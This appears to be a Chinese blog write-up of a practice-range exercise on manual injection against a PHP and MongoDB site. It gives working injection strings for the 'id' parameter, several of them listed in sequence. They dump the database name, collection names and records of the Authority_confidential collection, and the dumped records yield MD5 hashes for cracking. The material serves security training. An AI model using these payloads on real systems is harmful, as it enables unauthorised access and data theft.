简单SQL注入-MongoDB

简单SQL注入

题目来源:墨者 [SQL手工注入漏洞测试(MongoDB数据库)]

时间:2026/09/04

题目:安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境Nginx+PHP+MongoDB,PHP代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。

附上源代码截图:

未标题-1.jpg


构造简单测试SQL

闭合这句查询语句可得以下简单SQL

id=1'}); return ({title:1,content:'2

找注入点

抓包

image-20260904134950216

image-20260904135007711

发现POST传入参数不是题目所给的id,寻找其他注入点,这里我直接扫后台拿到存在SQL注入的页面

扫后台找到注入界面

image-20260904134748040

打开new_list,传入id参数后发现有反应

image-20260904135431751

由此可确认题目所给SQL漏洞代码来自new_list页面,接下来就是简单的payload构造

注入拿flag

爆库

id=1'}); return ({title:tojson(db),content:'1

image-20260904150521341

爆表

id=1'}); return ({title:tojson(db.getCollectionNames()),content:'1

image-20260904150621220

爆字段

?id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'1

以及

?id=1'}); return ({title:tojson(db.Authority_confidential.find()[1]),content:'1

image-20260904151209390

得到两串MD5,解密即可

image-20260904151333441

posted @ 2026-09-05 16:13  E诶iY0uwe1  阅读(4)  评论(0)    收藏  举报